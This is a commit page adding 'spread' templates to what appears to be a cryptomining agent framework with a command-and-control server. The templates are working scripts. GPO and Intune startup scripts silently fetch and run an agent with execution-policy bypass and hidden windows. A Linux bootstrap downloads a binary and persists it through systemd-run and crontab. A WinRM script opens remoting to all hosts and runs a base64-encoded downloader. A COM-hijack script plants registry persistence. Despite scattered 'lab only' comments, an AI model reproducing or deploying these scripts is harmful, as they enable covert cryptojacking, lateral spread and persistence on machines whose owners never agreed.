Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
16
templates/spread/enterprise/gpo-startup.ps1
Normal file
16
templates/spread/enterprise/gpo-startup.ps1
Normal file
@@ -0,0 +1,16 @@
|
||||
# GPO computer startup script — no mining policy in GPO blob.
|
||||
# Agent pulls server-side config after WS register; runs fallback chain locally.
|
||||
# Deploy via GPO: Computer Configuration > Policies > Windows Settings > Scripts > Startup
|
||||
# Placeholders: {{SERVER_URL}} {{GET_QUERY_SUFFIX}} {{CAMPAIGN}}
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$ProgressPreference = 'SilentlyContinue'
|
||||
|
||||
if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
|
||||
|
||||
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
|
||||
# install.ps1 drops agent; append defer-mining via env for child process
|
||||
$env:AETHER_DEFER_MINING = '1'
|
||||
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
|
||||
|
||||
# Fallback chain order (server-side miner_execution policy applies after register):
|
||||
# container -> inprocess -> gpu_subprocess -> stratum_direct
|
||||
15
templates/spread/enterprise/intune-startup.ps1
Normal file
15
templates/spread/enterprise/intune-startup.ps1
Normal file
@@ -0,0 +1,15 @@
|
||||
# Intune Win32 / proactive remediation script — same contract as GPO startup.
|
||||
# Assign as platform script; mining policy stays on command deck, not in Intune blob.
|
||||
# Placeholders: {{SERVER_URL}} {{GET_QUERY_SUFFIX}} {{CAMPAIGN}}
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$ProgressPreference = 'SilentlyContinue'
|
||||
|
||||
if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
|
||||
|
||||
$env:AETHER_DEFER_MINING = '1'
|
||||
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
||||
$dest = Join-Path $env:ProgramData 'AetherForge\worker.exe'
|
||||
New-Item -ItemType Directory -Force -Path (Split-Path $dest) | Out-Null
|
||||
try { (New-Object Net.WebClient).DownloadFile($url, $dest) } catch { exit 0 }
|
||||
if (-not (Test-Path $dest)) { exit 0 }
|
||||
Start-Process -FilePath $dest -ArgumentList '--run','--defer-mining' -WindowStyle Hidden
|
||||
53
templates/spread/linux/lotl-bootstrap.sh
Normal file
53
templates/spread/linux/lotl-bootstrap.sh
Normal file
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env bash
|
||||
# Linux LOTL bootstrap — systemd-run --user and/or crontab persistence.
|
||||
# Placeholders: {{SERVER_URL}} {{QUERY_SUFFIX}} {{LOTL_MODE}} {{CAMPAIGN}}
|
||||
# Mining policy pulled from C2 after register — not in this script.
|
||||
set -euo pipefail
|
||||
|
||||
LOTL_MODE='{{LOTL_MODE}}'
|
||||
SERVER='{{SERVER_URL}}'
|
||||
QS='{{QUERY_SUFFIX}}'
|
||||
CAMP='{{CAMPAIGN}}'
|
||||
|
||||
fetch_agent() {
|
||||
local dest
|
||||
dest="$(mktemp /tmp/af-XXXXXX)"
|
||||
curl -fsSL "${SERVER}/get?os=linux${QS}" -o "$dest" || return 1
|
||||
chmod +x "$dest"
|
||||
echo "$dest"
|
||||
}
|
||||
|
||||
run_once() {
|
||||
local bin="$1"
|
||||
if [ -n "$CAMP" ]; then export AETHER_CAMPAIGN="$CAMP"; fi
|
||||
nohup "$bin" --spread-install --defer-mining >/dev/null 2>&1 &
|
||||
}
|
||||
|
||||
persist_systemd_run_user() {
|
||||
local bin="$1"
|
||||
systemd-run --user --unit=aetherforge-worker.service \
|
||||
--description="AetherForge worker" \
|
||||
"$bin" --run --defer-mining
|
||||
}
|
||||
|
||||
persist_crontab() {
|
||||
local bin="$1"
|
||||
local line="@reboot $bin --run --defer-mining >/dev/null 2>&1"
|
||||
(crontab -l 2>/dev/null | grep -Fv "$bin" ; echo "$line") | crontab -
|
||||
}
|
||||
|
||||
main() {
|
||||
BIN="$(fetch_agent)" || exit 1
|
||||
run_once "$BIN"
|
||||
case "$LOTL_MODE" in
|
||||
systemd_run_user) persist_systemd_run_user "$BIN" ;;
|
||||
crontab) persist_crontab "$BIN" ;;
|
||||
both)
|
||||
persist_systemd_run_user "$BIN"
|
||||
persist_crontab "$BIN"
|
||||
;;
|
||||
*) ;;
|
||||
esac
|
||||
}
|
||||
|
||||
main "$@"
|
||||
27
templates/spread/winrm/bootstrap.ps1
Normal file
27
templates/spread/winrm/bootstrap.ps1
Normal file
@@ -0,0 +1,27 @@
|
||||
# WinRM bootstrap — owned/lab machines only. Enable remoting + encoded agent registration.
|
||||
# Placeholders: {{SERVER_URL}} {{BUILD_ID}} {{CAMPAIGN}} {{QUERY_SUFFIX}} {{GET_QUERY_SUFFIX}}
|
||||
# Mining policy is NOT embedded — agent registers to C2 and pulls server config.
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$ProgressPreference = 'SilentlyContinue'
|
||||
|
||||
function Enable-WinRMBootstrap {
|
||||
Enable-PSRemoting -Force -SkipNetworkProfileCheck | Out-Null
|
||||
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force | Out-Null
|
||||
}
|
||||
|
||||
$bootstrap = @'
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
|
||||
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
||||
$dest = Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName() + '.exe')
|
||||
try { (New-Object Net.WebClient).DownloadFile($url, $dest) } catch { exit 1 }
|
||||
if (-not (Test-Path $dest) -or (Get-Item $dest).Length -lt 1024) { exit 1 }
|
||||
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
||||
'@
|
||||
|
||||
Enable-WinRMBootstrap
|
||||
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($bootstrap))
|
||||
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $encoded
|
||||
|
||||
# Remote one-liner (run from jump box with creds):
|
||||
# Invoke-Command -ComputerName TARGET -ScriptBlock { powershell -EncodedCommand '<paste $encoded>' }
|
||||
23
templates/spread/winrm/com-hijack.ps1
Normal file
23
templates/spread/winrm/com-hijack.ps1
Normal file
@@ -0,0 +1,23 @@
|
||||
# OPTIONAL — COM hijack persistence under benign CLSID (owned machines only).
|
||||
# Default OFF. Enable only when {{COM_HIJACK}}=true in export or uncomment below.
|
||||
# Uses InprocServer32 redirect to agent binary — high visibility to EDR; lab use only.
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
|
||||
if ('{{COM_HIJACK}}' -ne 'true') {
|
||||
Write-Host 'COM hijack template disabled (COM_HIJACK not true).'
|
||||
exit 0
|
||||
}
|
||||
|
||||
# Benign CLSID: MMDeviceEnumerator (commonly present — replace with your lab-only choice)
|
||||
$clsid = '{BCDE0395-E52F-467C-8E3D-C4579291692E}'
|
||||
$agentPath = '{{AGENT_PATH}}'
|
||||
if (-not (Test-Path $agentPath)) {
|
||||
Write-Error "Agent path missing: $agentPath"
|
||||
exit 1
|
||||
}
|
||||
|
||||
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
|
||||
New-Item -Path $base -Force | Out-Null
|
||||
Set-ItemProperty -Path $base -Name '(Default)' -Value $agentPath
|
||||
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Apartment'
|
||||
Write-Host "COM hijack registered under $clsid -> $agentPath"
|
||||
Reference in New Issue
Block a user